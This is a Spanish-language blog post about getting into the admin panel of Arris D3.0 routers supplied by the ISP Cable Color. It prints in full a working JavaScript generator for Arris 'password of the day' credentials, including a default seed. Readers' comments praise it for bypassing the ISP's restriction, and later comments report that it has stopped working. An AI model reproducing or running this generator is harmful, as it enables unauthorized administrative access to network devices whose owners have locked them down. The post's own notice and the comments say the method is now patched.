Contraseñas de administración routers Cable Color

ACTUALIZACIÓN: Arris parchó este tipo de acceso y el ISP actualizó los dispositivos, por lo que este método ya no funciona.

Recientemente comenzamos a utilizar el servicio de internet de Cable Color. Como es habitual cuando se recibe un nuevo equipo, decidí explorar un poco sus funciones. En este caso, el proveedor entregó un router Arris D3.0, y mi primera intención fue personalizar el nombre de la red inalámbrica (SSID) y establecer mis propias contraseñas.

Sin embargo, al intentar acceder a la configuración del router con las credenciales por defecto, noté que no funcionaban. Al contactar al proveedor, me informaron que el acceso no estaba disponible para los usuarios y que cualquier cambio en la configuración de la red debía solicitarse a través de su soporte técnico.

Si bien esta restricción me pareció algo limitante, acepté las condiciones y decidí dejarlo así por el momento. No obstante, con el interés de entender mejor el equipo, realicé algunas pruebas y búsquedas generales sobre sus características.

Fue sorprendente descubrir que estos modelos permiten el acceso mediante contraseñas diarias y que existe documentación disponible sobre este método de autenticación. Tras analizar esta información, tomé las medidas necesarias para asegurar la red y evitar posibles inconvenientes.

Este tipo de exploraciones refuerzan la importancia de revisar y fortalecer la seguridad de nuestros dispositivos, especialmente aquellos que gestionan conexiones a internet.

 

Aquí el script:

/* autor del script: Raul Pedro Fernandes Santos */

function ArrisPwGen(startdate, enddate, new_seed) {
    "use strict";

    var password_count = 0;
    var one_day_in_milliseconds = 24 * 60 * 60 * 1000; // 1 day in milliseconds

    // Check how many passwords we're going to generate.
    if (arguments.length >= 2) {
        password_count = Math.ceil((enddate - startdate + 1) / one_day_in_milliseconds);
    } else if (arguments.length === 1) {
        password_count = 1;
    }

    // See if we have a valid number of passwords
    if ((password_count < 1) || (password_count > 365)) {
        throw 'Invalid dates. I need dates that span a year at most';
    }


    var seed = new_seed || 'MPSJKMDHAI',
        seedeight = seed.substr(0, 8),
        seedten = seed;

    var table1 = [
        [15, 15, 24, 20, 24],
        [13, 14, 27, 32, 10],
        [29, 14, 32, 29, 24],
        [23, 32, 24, 29, 29],
        [14, 29, 10, 21, 29],
        [34, 27, 16, 23, 30],
        [14, 22, 24, 17, 13]
    ];

    var table2 = [
        [0, 1, 2, 9, 3, 4, 5, 6, 7, 8],
        [1, 4, 3, 9, 0, 7, 8, 2, 5, 6],
        [7, 2, 8, 9, 4, 1, 6, 0, 3, 5],
        [6, 3, 5, 9, 1, 8, 2, 7, 4, 0],
        [4, 7, 0, 9, 5, 2, 3, 1, 8, 6],
        [5, 6, 1, 9, 8, 0, 4, 3, 2, 7]
    ];

    var alphanum = [
        '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D',
        'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R',
        'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'
    ];

    var list1 = [],
        list2 = [],
        list3 = [],
        list4 = [],
        list5 = [],
        year,
        month,
        day_of_month,
        day_of_week,
        iter,
        i,
        date;

    // Now let's generate one password for each day
    var password_list = {};
    for (iter = 0; iter < password_count; iter++) {
        // For each iteration advance the date one day
        date = new Date(startdate + (iter * one_day_in_milliseconds));

        // Last two digits of the year
        year = parseInt(date.getFullYear().toString(10).substr(2, 2), 10);

        // Number of the month (no leading zero; January == 0)
        month = date.getMonth() + 1;

        // Day of the month
        day_of_month = date.getDate();

        // Day of the week. Normally 0 would be Sunday but we need it to be Monday.
        day_of_week = date.getDay() - 1;
        if (day_of_week < 0) {
            day_of_week = 6;
        }


        // Now build the lists that will be used by each other.

        // list1
        for (i = 0; i <= 4; i++) {
            list1[i] = table1[day_of_week][i];
        }
        list1[5] = day_of_month;
        if (((year + month) - day_of_month) < 0) {
            list1[6] = (((year + month) - day_of_month) + 36) % 36;
        } else {
            list1[6] = ((year + month) - day_of_month) % 36;
        }
        list1[7] = (((3 + ((year + month) % 12)) * day_of_month) % 37) % 36;

        // list2
        for (i = 0; i <= 7; i++) {
            list2[i] = (seedeight.substr(i, 1).charCodeAt(0)) % 36;
        }

        // list3
        for (i = 0; i <= 7; i++) {
            list3[i] = (((list1[i] + list2[i])) % 36);
        }
        list3[8] = (list3[0] + list3[1] + list3[2] + list3[3] + list3[4] +
        list3[5] + list3[6] + list3[7]) % 36;
        var num8 = (list3[8] % 6);
        list3[9] = Math.round(Math.pow(num8, 2));

        // list4
        for (i = 0; i <= 9; i++) {
            list4[i] = list3[table2[num8][i]];
        }

        // list5
        for (i = 0; i <= 9; i++) {
            list5[i] = ((seedten.substr(i, 1).charCodeAt(0)) + list4[i]) % 36;
        }


        // Finally, build the password of the day.
        var password_of_the_day = [];
        var len = list5.length;
        for (i = 0; i < len; i++) {
            password_of_the_day[i] = alphanum[list5[i]];
        }
        password_list[date.getTime()] = password_of_the_day.join('');
    }

    return password_list;
}

Comentarios

7 respuestas a «Contraseñas de administración routers Cable Color»

  1. Avatar de Alex D. Tábora
    Alex D. Tábora

    Que excelente está ese script! Gracias, llevaba meses buscando como accesar el admin sin tener que llamar a soporte. Te felicito por el blog.

    1. Avatar de saadyfernando
      saadyfernando

      Me alegra que te haya servido, saludos!

  2. Avatar de Eric Powery
    Eric Powery

    Hola Estimado,

    sabes si todavia funciona? yo tengo un Arris TG1672 pero no me funciono la contrasena del dia,

    saludos.

    1. Avatar de saadyfernando
      saadyfernando

      Hola Eric, ya no funciona, al parecér cable color actualizó los equipos.

      Cualquier novedad, lo publicaré. Saludos.

  3. yo no puedo acceder al router hitron

  4. Al parecer cambiaron el seed y ahora ya no funciona esa vulnerabilidad. Sabes algo al respecto??

  5. Genio y el nombre de usuario?